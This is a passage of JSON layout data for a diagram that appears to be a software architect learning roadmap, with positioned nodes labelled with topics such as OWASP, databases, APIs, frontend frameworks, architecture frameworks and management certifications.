\"positionAbsolute\": {\n        \"x\": 504.2550655698143,\n        \"y\": 1256.51163847671\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KhqUK-7jdClu9M2Pq7x--\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 612.2550655698143,\n        \"y\": 1256.51163847671\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OWASP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 130,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 130,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 612.2550655698143,\n        \"y\": 1256.51163847671\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 130,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KiwFXB6yd0go30zAFMTJt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 504.2550655698143,\n        \"y\": 1309.51163847671\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Auth Strategies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 504.2550655698143,\n        \"y\": 1309.51163847671\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YCJYRA3b-YSm8vKmGUFk5\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 236.09445895848086,\n        \"y\": 1443.198473727102\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Working with Data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hjlkxYZS7Zf9En3IUS-Wm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 236.09445895848086,\n        \"y\": 1443.198473727102\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"92GG4IRZ3FijumC94aL-T\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 483.39100356118047,\n        \"y\": 1390.198473727102\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hadoop, Spark, MapReduce\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 261,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 261\n      },\n      \"positionAbsolute\": {\n        \"x\": 483.39100356118047,\n        \"y\": 1390.198473727102\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 261,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JUFE4OQhnXOt1J_MG-Sjf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 483.39100356118047,\n        \"y\": 1443.198473727102\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ETL, Datawarehouses\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 261,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 261\n      },\n      \"positionAbsolute\": {\n        \"x\": 483.39100356118047,\n        \"y\": 1443.198473727102\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 261,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"n5AcBt_u8qtTe3PP9svPZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 483.39100356118047,\n        \"y\": 1496.198473727102\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SQL Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 261,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 261\n      },\n      \"positionAbsolute\": {\n        \"x\": 483.39100356118047,\n        \"y\": 1496.198473727102\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 261,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"57liQPaPyVpE-mdLnsbi0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 483.39100356118047,\n        \"y\": 1549.198473727102\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"NoSQL Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 261,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 261\n      },\n      \"positionAbsolute\": {\n        \"x\": 483.39100356118047,\n        \"y\": 1549.198473727102\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 261,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"a0baFv7hVWZGvS5VLh5ig\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 490.8910035611806,\n        \"y\": 1653.198473727102\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Apache Spark\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 490.8910035611806,\n        \"y\": 1653.198473727102\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"I_VjjmMK52_tS8qjQUspN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 649.8910035611806,\n        \"y\": 1653.198473727102\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hadoop\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 88,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 88,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 649.8910035611806,\n        \"y\": 1653.198473727102\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 88,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"B5YtP8C1A0jB3MOdg0c_q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 490.8910035611806,\n        \"y\": 1707.198473727102\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Datawarehouse Principles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 490.8910035611806,\n        \"y\": 1707.198473727102\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7uGRbqYB-FpHb7H0Cgkmu\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 572.8910035611806,\n        \"y\": 1613.198473727102\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Analytics\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 85,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 572.8910035611806,\n        \"y\": 1613.198473727102\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 85,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"Ocn7-ctpnl71ZCZ_uV-uD\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 231.59445895848086,\n        \"y\": 1534.0024061639958\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"APIs & Integrations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hjlkxYZS7Zf9En3IUS-Wm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 231.59445895848086,\n        \"y\": 1534.0024061639958\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"priDGksAvJ05YzakkTFtM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 229.59445895848086,\n        \"y\": 1617.2550651624274\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"gRPC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196\n      },\n      \"positionAbsolute\": {\n        \"x\": 229.59445895848086,\n        \"y\": 1617.2550651624274\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fELnBA0eOoE-d9rSmDJ8l\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 229.59445895848086,\n        \"y\": 1670.2550651624274\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ESB, SOAP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196\n      },\n      \"positionAbsolute\": {\n        \"x\": 229.59445895848086,\n        \"y\": 1670.2550651624274\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Sp3FdPT4F9YnTGvlE_vyq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 323.59445895848086,\n        \"y\": 1723.2550651624274\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GraphQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 323.59445895848086,\n        \"y\": 1723.2550651624274\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ss43xwK1ydEToj6XmmCt7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 228.59445895848086,\n        \"y\": 1723.2550651624274\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"REST\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 228.59445895848086,\n        \"y\": 1723.2550651624274\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DwNda95-fE7LWnDA6u1LU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 228.59445895848086,\n        \"y\": 1776.2550651624274\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"BPM, BPEL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196\n      },\n      \"positionAbsolute\": {\n        \"x\": 228.59445895848086,\n        \"y\": 1776.2550651624274\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4NVdEbmpQVHpBc7582S6E\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 228.59445895848086,\n        \"y\": 1829.2550651624274\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Messaging Queues\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196\n      },\n      \"positionAbsolute\": {\n        \"x\": 228.59445895848086,\n        \"y\": 1829.2550651624274\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"j9Y2YbBKi3clO_sZ2L_hQ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 46.13182479290697,\n        \"y\": 1534.0024061639958\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Web, Mobile\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hjlkxYZS7Zf9En3IUS-Wm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 142,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 142,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 46.13182479290697,\n        \"y\": 1534.0024061639958\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 142,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6FDGecsHbqY-cm32yTZJa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -310.400653829474,\n        \"y\": 1426.9953697065484\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Functional Programming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"C0g_kQFlte5siHMHwlHQb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -310.400653829474,\n        \"y\": 1426.9953697065484\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mCiYCbKIOVU34qil_q7Hg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -310.400653829474,\n        \"y\": 1479.9953697065484\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"React, Vue, Angular\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -310.400653829474,\n        \"y\": 1479.9953697065484\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ulwgDCQi_BYx5lmll7pzU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -310.400653829474,\n        \"y\": 1532.9953697065484\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SPA, SSR, SSG\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -310.400653829474,\n        \"y\": 1532.9953697065484\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vpko5Kyf6BZ5MHpxXOKaf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -310.400653829474,\n        \"y\": 1585.9953697065484\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Microfrontends\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -310.400653829474,\n        \"y\": 1585.9953697065484\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"s0RvufK2PLMXtlsn2KAUN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -310.400653829474,\n        \"y\": 1638.9953697065484\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"W3C and WHATWG\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -310.400653829474,\n        \"y\": 1638.9953697065484\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"C0g_kQFlte5siHMHwlHQb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -310.400653829474,\n        \"y\": 1373.9953697065484\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Reactive Programming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -310.400653829474,\n        \"y\": 1373.9953697065484\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hjlkxYZS7Zf9En3IUS-Wm\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 54.13182479290697,\n        \"y\": 1652.198473727102\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frameworks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 126,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 54.13182479290697,\n        \"y\": 1652.198473727102\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 126,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LQlzVxUxM3haWRwbhYHKY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 54.13182479290697,\n        \"y\": 1729.6968401239587\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"BABOK\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 126,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 54.13182479290697,\n        \"y\": 1729.6968401239587\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 126,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wFu9VO48EYbIQrsM8YUCj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 54.13182479290697,\n        \"y\": 1782.6968401239587\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"IAF\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 126,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 54.13182479290697,\n        \"y\": 1782.6968401239587\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 126,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8FTKnAKNL9LnZBrw9YXqK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 54.13182479290697,\n        \"y\": 1835.6968401239587\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"UML\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 126,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 54.13182479290697,\n        \"y\": 1835.6968401239587\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 126,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5TDTU22Fla2mRr6JeOcaY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 54.13182479290697,\n        \"y\": 1888.6968401239587\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TOGAF\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 126,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 54.13182479290697,\n        \"y\": 1888.6968401239587\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 126,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UyIwiIiKaa6LTQaqzbCam\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -224.40065382947398,\n        \"y\": 1897.4952156939685\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 148,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -224.40065382947398,\n        \"y\": 1897.4952156939685\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 148,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hRug9yJKYacB9X_2cUalR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -300.40212184953555,\n        \"y\": 1706.050314077109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PMI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -300.40212184953555,\n        \"y\": 1706.050314077109\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Rq1Wi-cHjS54SYo-Btp-e\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -226.40212184953555,\n        \"y\": 1706.050314077109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ITIL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -226.40212184953555,\n        \"y\": 1706.050314077109\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SJ5lrlvyXgtAwOx4wvT2W\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -301.1965145742373,\n        \"y\": 1760.050314077109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Prince2\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -301.1965145742373,\n        \"y\": 1760.050314077109\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7rudOREGG-TTkCosU0hNw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -152.40212184953555,\n        \"y\": 1706.050314077109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RUP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 66,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 66,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -152.40212184953555,\n        \"y\": 1706.050314077109\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 66,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VW5wxTaGFAgplYadcSKP7\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -251.90212184953555,\n        \"y\": 1815.050314077109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Certifications\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 118,\n      \"height\": 36,\n      \"style\": {\n        \"width\": 118\n      },\n      \"positionAbsolute\": {\n        \"x\": -251.90212184953555,\n        \"y\": 1815.050314077109\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"4kW6EUtdDfIN80z4nOMFS\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -255.45679584154783,\n        \"y\": 2103.449136096591\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Agile Model\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 107,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -255.45679584154783,\n        \"y\": 